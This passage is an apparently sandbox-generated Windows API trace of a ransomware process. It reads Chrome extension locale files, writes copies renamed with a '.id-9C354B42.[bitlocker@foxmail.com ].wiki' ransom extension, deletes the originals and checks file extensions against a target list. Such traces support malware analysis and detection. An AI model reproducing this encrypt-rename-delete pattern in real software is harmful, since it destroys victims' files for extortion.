lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.172] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.172] SetEndOfFile (hFile=0x19c) returned 1 [0173.172] CloseHandle (hObject=0x19c) returned 1 [0173.172] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.172] SetEndOfFile (hFile=0x320) returned 1 [0173.173] CloseHandle (hObject=0x320) returned 1 [0173.173] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.173] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json")) returned 1 [0173.173] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.173] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.173] lstrlenW (lpString=".doc") returned 4 [0173.173] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.173] lstrlenW (lpString=".docx") returned 5 [0173.173] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.173] lstrlenW (lpString=".pdf") returned 4 [0173.173] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.173] lstrlenW (lpString=".xls") returned 4 [0173.174] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.174] lstrlenW (lpString=".xlsx") returned 5 [0173.174] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.174] lstrlenW (lpString=".ppt") returned 4 [0173.174] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.174] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.174] lstrlenW (lpString=".zip") returned 4 [0173.174] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.174] lstrlenW (lpString=".rar") returned 4 [0173.174] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.174] lstrlenW (lpString=".bz2") returned 4 [0173.174] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.174] lstrlenW (lpString=".7z") returned 3 [0173.174] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.174] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.174] lstrlenW (lpString=".dbf") returned 4 [0173.174] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.174] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.174] lstrlenW (lpString=".1cd") returned 4 [0173.174] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.174] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.174] lstrlenW (lpString=".jpg") returned 4 [0173.174] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.174] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.174] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.174] lstrlenW (lpString=".doc") returned 4 [0173.174] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.174] lstrlenW (lpString=".docx") returned 5 [0173.174] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.174] lstrlenW (lpString=".pdf") returned 4 [0173.175] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.175] lstrlenW (lpString=".xls") returned 4 [0173.175] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.175] lstrlenW (lpString=".xlsx") returned 5 [0173.175] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.175] lstrlenW (lpString=".ppt") returned 4 [0173.175] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.175] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.175] lstrlenW (lpString=".zip") returned 4 [0173.175] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.175] lstrlenW (lpString=".rar") returned 4 [0173.175] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.175] lstrlenW (lpString=".bz2") returned 4 [0173.175] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.175] lstrlenW (lpString=".7z") returned 3 [0173.175] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.175] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.175] lstrlenW (lpString=".dbf") returned 4 [0173.175] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.175] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.175] lstrlenW (lpString=".1cd") returned 4 [0173.175] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.175] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0173.175] lstrlenW (lpString=".jpg") returned 4 [0173.175] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.175] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.176] lstrlenW (lpString="messages.json") returned 13 [0173.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.176] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=209) returned 1 [0173.176] CloseHandle (hObject=0x320) returned 1 [0173.176] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json")) returned 0x2020 [0173.176] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.176] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.176] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.177] GetLastError () returned 0x0 [0173.177] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd1, lpOverlapped=0x0) returned 1 [0173.178] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.179] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.179] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.179] SetEndOfFile (hFile=0x19c) returned 1 [0173.179] CloseHandle (hObject=0x19c) returned 1 [0173.179] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.179] SetEndOfFile (hFile=0x320) returned 1 [0173.180] CloseHandle (hObject=0x320) returned 1 [0173.180] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.180] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json")) returned 1 [0173.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.180] lstrlenW (lpString=".doc") returned 4 [0173.180] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.181] lstrlenW (lpString=".docx") returned 5 [0173.181] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.181] lstrlenW (lpString=".pdf") returned 4 [0173.181] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.181] lstrlenW (lpString=".xls") returned 4 [0173.181] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.181] lstrlenW (lpString=".xlsx") returned 5 [0173.181] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.181] lstrlenW (lpString=".ppt") returned 4 [0173.181] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.181] lstrlenW (lpString=".zip") returned 4 [0173.181] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.181] lstrlenW (lpString=".rar") returned 4 [0173.181] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.181] lstrlenW (lpString=".bz2") returned 4 [0173.181] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.181] lstrlenW (lpString=".7z") returned 3 [0173.181] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.181] lstrlenW (lpString=".dbf") returned 4 [0173.181] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.181] lstrlenW (lpString=".1cd") returned 4 [0173.181] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.181] lstrlenW (lpString=".jpg") returned 4 [0173.181] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.182] lstrlenW (lpString=".doc") returned 4 [0173.182] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.182] lstrlenW (lpString=".docx") returned 5 [0173.182] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.182] lstrlenW (lpString=".pdf") returned 4 [0173.182] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.182] lstrlenW (lpString=".xls") returned 4 [0173.182] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.182] lstrlenW (lpString=".xlsx") returned 5 [0173.182] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.182] lstrlenW (lpString=".ppt") returned 4 [0173.182] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.182] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.182] lstrlenW (lpString=".zip") returned 4 [0173.182] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.182] lstrlenW (lpString=".rar") returned 4 [0173.182] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.182] lstrlenW (lpString=".bz2") returned 4 [0173.182] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.182] lstrlenW (lpString=".7z") returned 3 [0173.182] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.182] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.182] lstrlenW (lpString=".dbf") returned 4 [0173.182] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.182] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.182] lstrlenW (lpString=".1cd") returned 4 [0173.182] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.182] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 151 [0173.182] lstrlenW (lpString=".jpg") returned 4 [0173.183] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.183] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.183] lstrlenW (lpString="messages.json") returned 13 [0173.183] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.183] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=213) returned 1 [0173.183] CloseHandle (hObject=0x320) returned 1 [0173.183] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json")) returned 0x2020 [0173.183] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.184] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.184] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.184] GetLastError () returned 0x0 [0173.184] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd5, lpOverlapped=0x0) returned 1 [0173.185] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.186] ReadFile (in: hFile=0x320, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.186] WriteFile (in: hFile=0x19c, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.186] SetEndOfFile (hFile=0x19c) returned 1 [0173.186] CloseHandle (hObject=0x19c) returned 1 [0173.186] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.186] SetEndOfFile (hFile=0x320) returned 1 [0173.187] CloseHandle (hObject=0x320) returned 1 [0173.187] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.187] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json")) returned 1 [0173.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.188] lstrlenW (lpString=".doc") returned 4 [0173.188] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.188] lstrlenW (lpString=".docx") returned 5 [0173.188] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.188] lstrlenW (lpString=".pdf") returned 4 [0173.188] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.188] lstrlenW (lpString=".xls") returned 4 [0173.188] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.188] lstrlenW (lpString=".xlsx") returned 5 [0173.188] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.188] lstrlenW (lpString=".ppt") returned 4 [0173.188] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.188] lstrlenW (lpString=".zip") returned 4 [0173.188] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.188] lstrlenW (lpString=".rar") returned 4 [0173.188] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.188] lstrlenW (lpString=".bz2") returned 4 [0173.188] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.188] lstrlenW (lpString=".7z") returned 3 [0173.188] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.188] lstrlenW (lpString=".dbf") returned 4 [0173.188] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.188] lstrlenW (lpString=".1cd") returned 4 [0173.188] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 151 [0173.189] lstrlenW (lpString=".jpg") returned 4 [0173.189] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.189] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 